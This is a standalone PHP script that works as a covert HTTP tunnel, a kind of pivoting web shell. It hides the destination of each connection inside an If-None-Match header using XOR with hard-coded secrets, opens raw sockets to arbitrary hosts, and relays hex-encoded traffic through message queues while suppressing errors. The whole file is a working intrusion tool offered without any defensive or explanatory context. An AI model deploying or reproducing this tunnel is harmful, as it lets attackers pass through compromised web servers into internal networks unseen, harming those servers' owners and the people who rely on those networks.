<?php
if ($_SERVER["REQUEST_METHOD"] != "POST") {
header("HTTP/1.0 405 Method Not Allowed");
exit;
}
//error_reporting(E_ALL);
//ini_set("display_errors", "1");
error_reporting(0);
ini_set("display_errors", "0");
// make sure ipc can get properly closed
ignore_user_abort(true);
set_time_limit(0);
// for destination de-obfuscation and integrity checking
define("SECRET_H", 0xabcdefab); // 64bit actually
define("SECRET_L", 0xcdefabcd);
define("SENTINEL", 0xb3e4);
// data limits
define("MSG_MAX", 1024);
define("MSG_TOUT", 30);
function ipc_open($key, $mode, &$res) {
if ($mode == "r") {
if (msg_queue_exists($key)) {
//if (!msg_remove_queue($key)) {
return false;
//}
}
$res = msg_get_queue($key, 0600);
return true;
} else if ($mode == "w") {
if (!msg_queue_exists($key)) {
return false;
}
$res = msg_get_queue($key, 0600);
return true;
} else {
return false;
}
}
function ipc_close($res, $mode) {
if ($mode == "r") {
return msg_remove_queue($res);
} else if ($mode == "w") {
return true;
} else {
return false;
}
}
function ipc_read($res, $tout, &$msg) {
while (msg_stat_queue($res)["msg_qnum"] == 0) {
if ($tout == 0) {
return 0;
}
$tout--;
sleep(1);
}
if (msg_receive($res, 0, $msgtype, MSG_MAX, $msg, false, MSG_IPC_NOWAIT) !== true) {
return -1;
}
return 1;
}
function ipc_write($res, $tout, $msg) {
if (strlen($msg) > MSG_MAX) {
return -1;
}
while (true) {
if (msg_send($res, 1, $msg, false, false, $errno) === true) {
return 1;
} else {
if ($errno != MSG_EAGAIN) {
return -1;
} else if (!$tout) {
return 0;
} else {
sleep(1);
$tout--;
}
}
}
}
function sock_write($res, $tout, $msg, $len) {
if ($len > MSG_MAX) return -1;
if (!$len) return 1;
while (true) {
$r = fwrite($res, $msg, $len);
if ($r === false) {
return -1;
} else if ($r == $len) {
return 1;
} else if (!$tout) {
return 0;
} else {
$len -= $r;
$msg = substr($msg, $r);
sleep(1);
$tout--;
}
}
}
function deobfuscate_dst($s, &$addr, &$port) {
if (strlen($s) != 16+16) {
return false;
}
$nonce_h = hexdec(substr($s, 0, 8));
$nonce_l = hexdec(substr($s, 8, 8));
$addr_h = hexdec(substr($s, 16, 8)) ^ $nonce_h ^ SECRET_H;
$addr_l = hexdec(substr($s, 24, 8)) ^ $nonce_l ^ SECRET_L;
$sentinel = $addr_h >> 16;
if ($sentinel != SENTINEL) return false;
$port = $addr_h & 0x0000ffff;
$addr = long2ip($addr_l);
return true;
}
function set_cookie($val) {
return $val.md5(
$val."|".
SECRET_H."|".SECRET_L."|".
$_SERVER["REMOTE_ADDR"]."|".
(array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)? $_SERVER["HTTP_X_FORWARDED_FOR"]: "")
);
}
function get_cookie($c) {
$val = substr($c, 0, -32);
return ($c == set_cookie($val))? $val: "";
}
if ($_GET["a"] == "bind") {
// get and connect to destination
if (deobfuscate_dst($_SERVER["HTTP_IF_NONE_MATCH"], $dst_addr, $dst_port)) {
$fd = fsockopen($dst_addr, $dst_port, $errno, $errstr, MSG_TOUT/2);
if ($fd) {
stream_set_timeout($fd, MSG_TOUT);
stream_set_blocking($fd, false);
// choose session id, connect to its queue, and reply as cookie
$ipc_key = ftok(__FILE__, chr(rand(32, 126)));
if (ipc_open($ipc_key, "r", $q)) {
setcookie("sid", set_cookie($ipc_key));
// stream using chunked encoding
if (ob_get_level() == 0) {
ob_start();
}
echo "##";
ob_flush();
flush();
// read from ipc until done
$msgbuf = "";
while (!connection_aborted()) {
$msg = "";
$r = ipc_read($q, 1, $msg);
$msg = $msgbuf.$msg;
$msgbuf = "";
if ($r == -1) {
break;
}
// decode from hex and send to destination
if (!empty($msg)) {
if (strlen($msg) % 2 != 0) {
$msgbuf = substr($msg, -1);
$msg = substr($msg, 0, -1);
}
$r = sock_write($fd, MSG_TOUT, hex2bin($msg), strlen($msg)/2);
if ($r != 1) {
break;
}
}
// read from destination and flush it
$num = 0;
while ($num++ < 10) { // prefer downstream
$r = fread($fd, MSG_MAX);
if (empty($r)) {
$s = time();
if (feof($fd)) {
break 2;
} else if ($s < time() - MSG_TOUT) { // eof timeout bug
break 2;
}
if ($num == 1) {
echo "##"; // send noop for detecting connection abort
ob_flush();
flush();
}
break;
} else {
echo bin2hex($r);
ob_flush();
flush();
}
}
}
// done
ob_end_flush();
ipc_close($q, "r");
}
fclose($fd);
}
}
} else if ($_GET["a"] == "write") {
// get id and connect to ipc
$total = 0;
$sess = get_cookie($_COOKIE["sid"]);
if (!empty($sess) && ipc_open($sess, "w", $q)) {
// read raw post data
$fh = fopen("php://input", "r");
if ($fh !== false) {
while (!feof($fh)) {
$in = fread($fh, MSG_MAX);
if ($in === false) {
break;
}
// write to ipc
if (ipc_write($q, MSG_TOUT, $in) != 1) { // need some sequence number checking?
break;
}
$total += strlen($in);
}
// done
fclose($fh);
}
ipc_close($q, "w");
}
if (!array_key_exists("CONTENT_LENGTH", $_SERVER) || $total != $_SERVER["CONTENT_LENGTH"]) {
header("HTTP/1.0 500 Internal Server Error");
}
}
?>